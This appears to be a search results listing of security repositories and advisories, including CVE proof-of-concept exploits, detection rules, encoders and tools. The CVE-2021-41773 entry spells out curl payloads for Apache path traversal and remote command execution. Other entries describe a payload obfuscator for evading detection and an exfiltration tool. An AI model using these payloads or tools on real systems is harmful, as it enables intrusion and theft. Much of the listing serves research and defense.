14526 matches found
encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal
A flaw was found in the encoding/asn1 package in Go. An attacker could provide a specially crafted, deeply-nested Abstract Syntax Notation One ASN.1 structure, leading to excessive recursion during the Unmarshal operation. This could result in stack exhaustion and a Denial of Service DoS conditio...
encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue
A flaw was found in the encoding/xml package of Go. The DecodeElement function failed to correctly track recursion depth, which could lead to stack exhaustion. A remote attacker could exploit this vulnerability by providing a specially crafted XML input, resulting in a Denial of Service DoS for t...
CVE-2018-11776-Python-PoC
CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c en twitter Prueba y PoC en Python funcional para CVE-2018-11776, apareció originalmente en; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC ¿Qué está pasando? Man Yue Mo de Semmle ha revelado una vulnerabilidad de ejecución...
Decodify
Decodify It can detect and decode encoded strings, recursively. Lets take this string : s0md3v and encode it in Base 64 czBtZDN2 Now lets encode it in hex 637a42745a444e32 And now again in Base 64 NjM3YTQyNzQ1YTQ0NGUzMg== Now lets supply it to Decodify Boom! Thats what Decodify does. It...
steganography
Image Steganography Tool Simple C++ Encryption and Steganography tool that uses Password-Protected-Encryption to secure a file's contents, and then proceeds to embed it insde an image's pixel-data using Least-Significant-Bit encoding. For Linux, MacOS, and Windows systems. Encoding $...
CVE-2021-31166
CVE-2021-31166 Detección de intentos de explotar CVE-2021-31166 vulnerabilidad de la pila de protocolo HTTP Regla de Suricata Paquete de Zeek Referencias https://corelight.blog/2021/05/27/detecting-cve-2021-31166-http-vulnerability/...
shellme
shellme Because sometimes you just need shellcode and opcodes quickly. This essentially just wraps some nasm/objdump calls into a neat script. bryan@devbox:/shellme$ python shellme.py usage: shellme.py -h -n FILE -o OUTPUT -i INSTRUCTION -a ARCH optional arguments: -h, --help show this help messa...
batchfuscate
batchfuscate 一个简单高效的脚本,让您的批处理载荷无法被检测。 要求: 1. 必须在 Windows 和 Linux 上安装 python3 2. pip install termcolor pip install pystyle pip install tqdm pip install colorama pip install requests 安装:- 1. 克隆仓库 2. pip install -r requirements.txt 3. python3 bat.py 使用方法: Linux 系统:- python3 bat.py Windows 系统:- pytho...
CVE-2021-42013
CVE-2021-42013 — PoC: Path Traversal + RCE via modcgi bypass de parche Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización. Descripción PoC desarrollada para demostrar CVE-2021-42013 , presente en Apache HTTP Server 2.4.50. Este CVE es el bypass del parche qu...
CVE-2026-77756
A flaw was found in Apache Tomcat. This vulnerability, known as HTTP Request/Response Smuggling, occurs when Tomcat processes the transfer-encoding header for an HTTP/1.0 request while operating behind a reverse proxy. A remote attacker could exploit this to cause a denial of service, leading to...
json-sanitizer
json-sanitizer 给定类似JSON的内容,JSON Sanitizer 会将其转换为有效的JSON。 入门 - 联系方式 它可以附加在数据管道的任一端,以帮助满足Postel原则: 在自己做什么时要保守,在接受别人给予时要开放 应用于来自他人的类似JSON的内容时,它会生成格式良好的JSON,应能满足您使用的任何解析器。 在发送之前应用于您的输出时,它会纠正编码中的小错误,并使您的JSON更易于嵌入HTML和XML。 动机 许多应用程序有大量代码使用临时方法生成JSON输出。...
CVE-2024-38816-PoC
CVE-2024-38816 Proof of Concept PoC This is a proof of concept for the CVE-2024-38816 vulnerability, demonstrating a path traversal exploit. Execution Steps 1. Build the Docker image: Spring Boot 3.0.13, based on Spring Framework 6.0.3 docker build -t cve-2024-38816-poc . 2. Run the container and...
CVE-2026-28318-check
SolarWinds Serv-U Unauthenticated DoS: Safe Detection Script A safe, non-destructive detector for CVE-2026-28318 , an unauthenticated denial-of-service in SolarWinds Serv-U= 15.5.4.108. A single POST that carries Content-Encoding: deflate and a body feeds that body to an in-memory deflate...
CVE-2018-19518
CVE-2018-19518 最后报告在此:https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF 用法 运行应用 docker-compose up -d Web 应用的正常使用示例。 imap : webmail.grenoble-inp.org 用户 : [email protected] 密码 : xxx 利用 使用 echo '1234567890'/tmp/test0001。 POST / HTTP/1.1 Host:...
cve-2021-41773
cve-2021-41773 CVE-2021-41773 Apache 2.4.49 中的路径遍历漏洞。 RCE 概念验证 PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...
Slink
Slink is an alphanumeric shellcode x86 encoder that use simple math operations to reformat characters beyond 7f. The tool creation was inspired by the following sploit EDB-ID: 44455. Here's the list of current features: Encode using 01-7f characters set. Exclude common bad characters such as...
linux-apache-fix-mod_rewrite-spaceInURL
SOLUCIÓN para linux Ubuntu Apache modrewrite espacio en URL Después de la última actualización de Apache, he tenido algunos problemas con los «espacios en URL» en modrewrite. 2023-04-25 - actualización apache2:amd64 2.4.38-3+deb10u9 2.4.38-3+deb10u10 Las URL que contienen «espacio» y han sido...
purrcrypt
🐱 PurrCrypt 🐶 毛茸茸的安全,爪爪的可爱! 将你的秘密 喵 安全地保存起来,直接从你的电脑 喵 向你的 爪 友传递,简直 喵 翻了! !IMPORTANT PurrCrypt 是披着可爱外衣的真正密码学!你的消息受到与比特币相同的椭圆曲线算法保护,只不过包裹在可爱的猫狗叫声中。可爱绝不应牺牲安全! 这个毛茸茸的东西是什么?🐾 PurrCrypt 是一个极度认真的密码学家连续 48 小时沉迷猫片后的产物!它是一个超强加密工具,用最可爱的方式隐藏你的秘密——将其转化为猫猫和狗狗的语言! 在毛茸茸的外表下,PurrCrypt...
http-protocol-exfil
HTTP协议版本外传工具 使用HTTP协议版本逐位发送文件(“HTTP/1.0”表示0,“HTTP/1.1”表示1)。它使用GET请求,因此蓝队只会看到发往你IP地址的请求。但发送较大文件需要很长时间,例如发送200 KB需要1小时,并且请求数量会非常高(文件字节数的8倍)。 创建监听器 运行监听器使用listener.py,带一个可选参数:监听端口。 python3 listener.py PORT 示例: python3 listener.py 8080 发送文件...
cve-2017-9805.py
CVE-2017-9805.py 1. 针对 Apache Struts CVE-2017-9805 的改进版利用代码 2. 应该基本无错 为什么要重写? 发现大部分在线利用代码只是简单地使用字符串拼接来插入用户提供的命令,并插入到XML字符串中。这不太可靠,因为XML要求某些特殊字符使用编码。因此,由于那些脚本没有考虑到这一点,会导致错误。此外,正确编码的XML也可能在获取正确命令执行时导致错误。本脚本解决了这些问题。 有何不同? 1. 添加了正确的参数解析 2. 正则表达式检查参数格式是否正确。 3. 将XML作为对象而非仅仅是字符串处理 4...